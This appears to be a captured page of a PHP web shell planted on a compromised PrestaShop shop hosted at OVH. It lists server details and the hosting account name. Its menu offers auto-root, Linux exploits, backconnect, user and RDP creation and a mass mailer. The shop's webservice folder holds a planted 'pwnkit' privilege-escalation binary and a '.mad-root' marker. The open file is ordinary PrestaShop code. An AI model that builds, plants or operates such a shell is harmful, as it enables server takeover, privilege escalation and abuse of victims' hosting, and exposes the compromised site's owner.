Linux webm004.cluster102.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
Apache
: 10.102.20.4 | : 216.73.216.15
Cant Read [ /etc/named.conf ]
5.4.45
opusyn1t
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
opusyn1t /
www /
boutique /
classes /
webservice /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
403.php
0
B
-r--r--r--
WebserviceException.php
2.03
KB
-rw----r--
WebserviceKey.php
4.86
KB
-rw----r--
WebserviceOutputBuilder.php
25.61
KB
-rw----r--
WebserviceOutputInterface.php
1.68
KB
-rw----r--
WebserviceOutputXML.php
5.83
KB
-rw----r--
WebserviceRequest.php
63.22
KB
-rw----r--
WebserviceSpecificManagementIm...
36.52
KB
-rw----r--
WebserviceSpecificManagementIn...
1.36
KB
-rw----r--
WebserviceSpecificManagementSe...
3.71
KB
-rw----r--
autoload_classmap.php
0
B
-r--r--r--
index.php
1.24
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : WebserviceKey.php
<?php /* * 2007-2014 PrestaShop * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://opensource.org/licenses/osl-3.0.php * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to http://www.prestashop.com for more information. * * @author PrestaShop SA <contact@prestashop.com> * @copyright 2007-2014 PrestaShop SA * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) * International Registered Trademark & Property of PrestaShop SA */ class WebserviceKeyCore extends ObjectModel { /** @var string Key */ public $key; /** @var boolean Webservice Account statuts */ public $active = true; /** @var string Webservice Account description */ public $description; /** * @see ObjectModel::$definition */ public static $definition = array( 'table' => 'webservice_account', 'primary' => 'id_webservice_account', 'fields' => array( 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), 'key' => array('type' => self::TYPE_STRING, 'required' => true, 'size' => 32), 'description' => array('type' => self::TYPE_STRING), ), ); public function add($autodate = true, $nullValues = false) { if (WebserviceKey::keyExists($this->key)) return false; return parent::add($autodate = true, $nullValues = false); } public static function keyExists($key) { return (!Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS('SELECT `key` FROM '._DB_PREFIX_.'webservice_account WHERE `key` = \''.pSQL($key).'\'') ? false : true); } public function delete() { if (!parent::delete() || $this->deleteAssociations() === false) return false; return true; } public function deleteAssociations() { if (Db::getInstance()->execute(' DELETE FROM `'._DB_PREFIX_.'webservice_permission` WHERE `id_webservice_account` = '.(int)$this->id) === false || Db::getInstance()->execute(' DELETE FROM `'._DB_PREFIX_.'webservice_permission` WHERE `id_webservice_account` = '.(int)$this->id) === false) return false; return true; } public static function getPermissionForAccount($auth_key) { $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' SELECT p.* FROM `'._DB_PREFIX_.'webservice_permission` p LEFT JOIN `'._DB_PREFIX_.'webservice_account` a ON (a.id_webservice_account = p.id_webservice_account) WHERE a.key = \''.pSQL($auth_key).'\' '); $permissions = array(); if ($result) foreach ($result as $row) $permissions[$row['resource']][] = $row['method']; return $permissions; } public static function isKeyActive($auth_key) { $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' SELECT a.active FROM `'._DB_PREFIX_.'webservice_account` a WHERE a.key = \''.pSQL($auth_key).'\' '); if (!isset($result[0])) return null; else return isset($result[0]['active']) && $result[0]['active']; } public static function getClassFromKey($auth_key) { $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' SELECT a.class_name as class FROM `'._DB_PREFIX_.'webservice_account` a WHERE a.key = \''.pSQL($auth_key).'\' '); if (!isset($result[0])) return null; else return $result[0]['class']; } public static function setPermissionForAccount($id_account, $permissions_to_set) { $ok = true; $sql = 'DELETE FROM `'._DB_PREFIX_.'webservice_permission` WHERE `id_webservice_account` = '.(int)$id_account; if (!Db::getInstance()->execute($sql)) $ok = false; if (isset($permissions_to_set)) { $permissions = array(); $resources = WebserviceRequest::getResources(); $methods = array('GET', 'PUT', 'POST', 'DELETE', 'HEAD'); foreach ($permissions_to_set as $resource_name => $resource_methods) if (in_array($resource_name, array_keys($resources))) foreach (array_keys($resource_methods) as $method_name) if (in_array($method_name, $methods)) $permissions[] = array($method_name, $resource_name); $account = new WebserviceKey($id_account); if ($account->deleteAssociations() && $permissions) { $sql = 'INSERT INTO `'._DB_PREFIX_.'webservice_permission` (`id_webservice_permission` ,`resource` ,`method` ,`id_webservice_account`) VALUES '; foreach ($permissions as $permission) $sql .= '(NULL , \''.pSQL($permission[1]).'\', \''.pSQL($permission[0]).'\', '.(int)$id_account.'), '; $sql = rtrim($sql, ', '); if (!Db::getInstance()->execute($sql)) $ok = false; } } return $ok; } }
Close